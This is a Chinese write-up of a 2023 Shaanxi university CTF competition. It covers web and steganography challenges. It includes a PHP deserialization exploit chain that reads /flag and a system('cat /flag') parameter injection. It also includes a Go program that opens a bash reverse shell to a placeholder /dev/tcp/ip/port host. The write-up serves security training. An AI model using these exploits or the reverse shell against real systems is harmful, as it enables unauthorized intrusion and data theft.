前言
早写好了,忘发了,题目质量还行,够我坐大牢
ezpop
简单的反序列化,exp如下
<?php
class night
{
public $night;
}
class day
{
public $day;
}
class light
{
public $light;
}class dark
{
public $dark;
}
$n = new night;
$d1 = new day;
$d2 = new day;
$l = new light;
$d = new dark;
$d3 = new dark;
$n->night = $d1;
$d1->day = $d;
$d->dark = $l;
$l->light = $d2;
$d2->day = $d3;
$d3->dark = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($n);
?>
传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样
ezrce
preg_replace采用了/e的模式,很明显有rce漏洞,简单的测试了一下,不能用数字等等,这waf有点牛逼,采用无参rce直接读flag就行了,name得含有hahaha
unserialize
非预期,?a=system ('cat /flag');就能读flag
test
查看页面源代码,发现/profile/index这个路由,访问一下返回一个result,啥也没有,仿问/profile/admin,返回了密码,MD5解密一下asdfgh123
admin登录进去,提示上传个go文件,就会运行,构造一个上传数据包,go文件如下:
package main
import (
"fmt"
"log"
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}
反弹shell,拿到flag
Misc
管道
zsteg -a 管道.png | grep "flag"文章来源:https://www.toymoban.com/news/detail-471792.html
可是雪啊飘进双眼
第一步hint.wav,藏了摩斯密码,解密出来是WOAISHANXI
,snow.txt,snow解密,snow.exe -p WOAISHANXI -C snow.txt
,拿到密码shanxiroujiamo
,解开压缩包,两张图片,key.jpg与hide.jpg, binwalk -e key.jpg
提取出一个压缩包,里面有张图片,跟key.jpg的密文相对应,一一对照拿到密码BC1PVEYD
, steghide解hide.jpg即可拿到flag文章来源地址https://www.toymoban.com/news/detail-471792.html
到了这里,关于2023陕西省大学生信息安全竞赛web writeup的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!